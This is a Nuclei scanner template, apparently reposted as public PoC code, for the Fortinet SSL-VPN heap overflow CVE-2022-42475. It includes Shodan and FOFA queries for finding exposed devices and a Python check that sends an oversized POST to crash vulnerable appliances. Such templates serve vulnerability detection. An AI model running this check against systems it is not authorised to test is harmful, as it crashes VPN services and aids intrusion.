A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
PoC代码[已公开]
id: CVE-2022-42475
info:
name: Fortinet SSL-VPN - Heap-Based Buffer Overflow
author: 0xhaggis,pszyszkowski,pussycat0x
severity: critical
description: |
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN (versions 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier) and FortiProxy SSL-VPN (versions 7.2.0 through 7.2.1, 7.0.7 and earlier) may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.
remediation: |
Fixed in:
FortiOS >= 7.2.3, 7.0.9, 6.4.11, 6.2.12, 6.0.16
FortiOS-6K7K >= 7.0.8, 6.4.10, 6.2.12, 6.0.15
FortiProxy >= 7.2.2, 7.0.8, 2.0.12
reference:
- https://github.com/0xhaggis/CVE-2022-42475
- https://fortiguard.com/psirt/FG-IR-22-398
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
- https://bishopfox.com/blog/exploit-cve-2022-42475
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-42475
cwe-id: CWE-197,CWE-787
epss-score: 0.9394
epss-percentile: 0.99875
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: fortinet
product: fortios
shodan-query:
- cpe:"cpe:2.3:o:fortinet:fortios"
- http.html:"/remote/login" "xxxxxxxx"
- http.favicon.hash:"945408572"
fofa-query:
- body="/remote/login" "xxxxxxxx"
- icon_hash="945408572"
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
flow: http () && code()
http:
- method: GET
path:
- "{{BaseURL}}/remote/login"
- "{{BaseURL}}/login"
stop-at-first-match: true
host-redirects: true
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "Launch FortiClient") || contains(body, "ftnt-fortinet-grid")'
- 'status_code == 200'
condition: and
code:
- engine:
- py
- python3
source: |
import sys, os, time, socket, ssl
PADDING = 0x4141414141414141
PADDING_LEN = 1024*12
CONTENT_LENGTH = b"4294967297"
class SSLVPNExploit:
def __init__(self, host, port):
self.host = host
self.port = port
def connect(self):
tries = 1
if os.getenv("Scheme") == "https":
useSSL = True
print("[+] Using SSL/TLS")
else:
useSSL = False
print("[+] Unencrypted connection")
while tries <= 6:
try:
print("[+] Connecting to %s [ attempt %d of 6 ] \r" % (self.host, tries), end='\n')
self.cleartext_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if useSSL == True:
ctx = ssl._create_unverified_context()
self.socket = ctx.wrap_socket(self.cleartext_socket)
else:
self.socket = self.cleartext_socket
self.socket.settimeout(2.0)
self.socket.connect((self.host, self.port))
return self.socket
except socket.timeout as e:
tries += 1
print("Connection timeout!")
continue
except Exception as e:
print("Unknown error!")
print(e)
return None
return None
def check_by_get(self):
get_req = bytearray(b"")
get_req += b"GET /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
print("[>] Sending GET first")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
self.socket.sendall(get_req)
self.socket.settimeout(10)
get_buf = self.socket.recv(1048576)
if len(get_buf) == 0:
print("Error while sending GET. Protocol mismatch?")
return None
self.socket.close()
return True
except socket.timeout as e:
print("[>] Target waited for more data.")
return False
except Exception as e:
print("[>] Target dropped the connection during test GET, which indicates a communication error!")
print(e)
return None
def is_vulnerable(self):
req = bytearray(b"")
req += b"POST /remote/login HTTP/1.1\r\nHost: " + self.host.encode() + b":" + str(self.port).encode() + b"\r\nContent-Length: " + CONTENT_LENGTH + b"\r\nUser-Agent: AAAAAAAAAAAAAAAA\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: */*\r\n\r\n"
req += b"AAAAAAAA"*(PADDING_LEN)
print("[>] Testing to see if target is vulnerable (may take 10 seconds)")
if self.connect() == None:
print("[!] Error connecting to target")
exit(1)
try:
# Send the payload. Vuln instances will crash, severing the connection and
# causing an exception to be thrown here.
self.socket.sendall(req)
# If this read succeeds then the target is probably not vulnerable.
# If it times out, then it's also probably not vulnerable.
self.socket.settimeout(10)
buf = self.socket.recv(1048576)
# If the remote end disconnects without an HTTP response then it's vulnerable.
if len(buf) == 0:
return True
# Check to see if it has the vendor patch applied
if buf.decode("utf-8", errors="replace").__contains__("HTTP/1.1 413 Request Entity Too Large"):
print("[>] Target is patched.")
return False # 100% confidence that it's not vulnerable.
# Ok, something weird and unexpected happened.
print("[>] An unexpected response (%d bytes) was recieved:" % len(buf))
print("----- BEGIN RESPONSE -----")
print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
print("----- END RESPONSE -----")
self.socket.close()
return None
except socket.timeout as e:
print("[>] Target waited for more data. Not vulnerable.")
return False
except Exception as e:
print("[>] Target dropped the connection, which indicates a vulnerable device!")
print(e)
return True
if __name__ == '__main__':
host=os.getenv("Host")
port=int(os.getenv("Port"))
exploit = SSLVPNExploit(host, port)
check = exploit.check_by_get()
if check == True:
result = exploit.is_vulnerable()
if result == None:
print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
exit(2)
if result == True:
print("[+] Target appears to be VULNERABLE")
exit(0)
else:
print("[+] Target is NOT vulnerable")
exit(1)
matchers:
- type: word
words:
- "Target appears to be VULNERABLE"
# digest: 4a0a00473045022100fd9bd54297267048d751bf43b25aad58c73445a6654339ab071092387ac0123f0220450016d0e026b2a427ae95cedb221d2f247e85832a4c513251bb45974032edf2:922c64590222798bb761d5b6d8e72950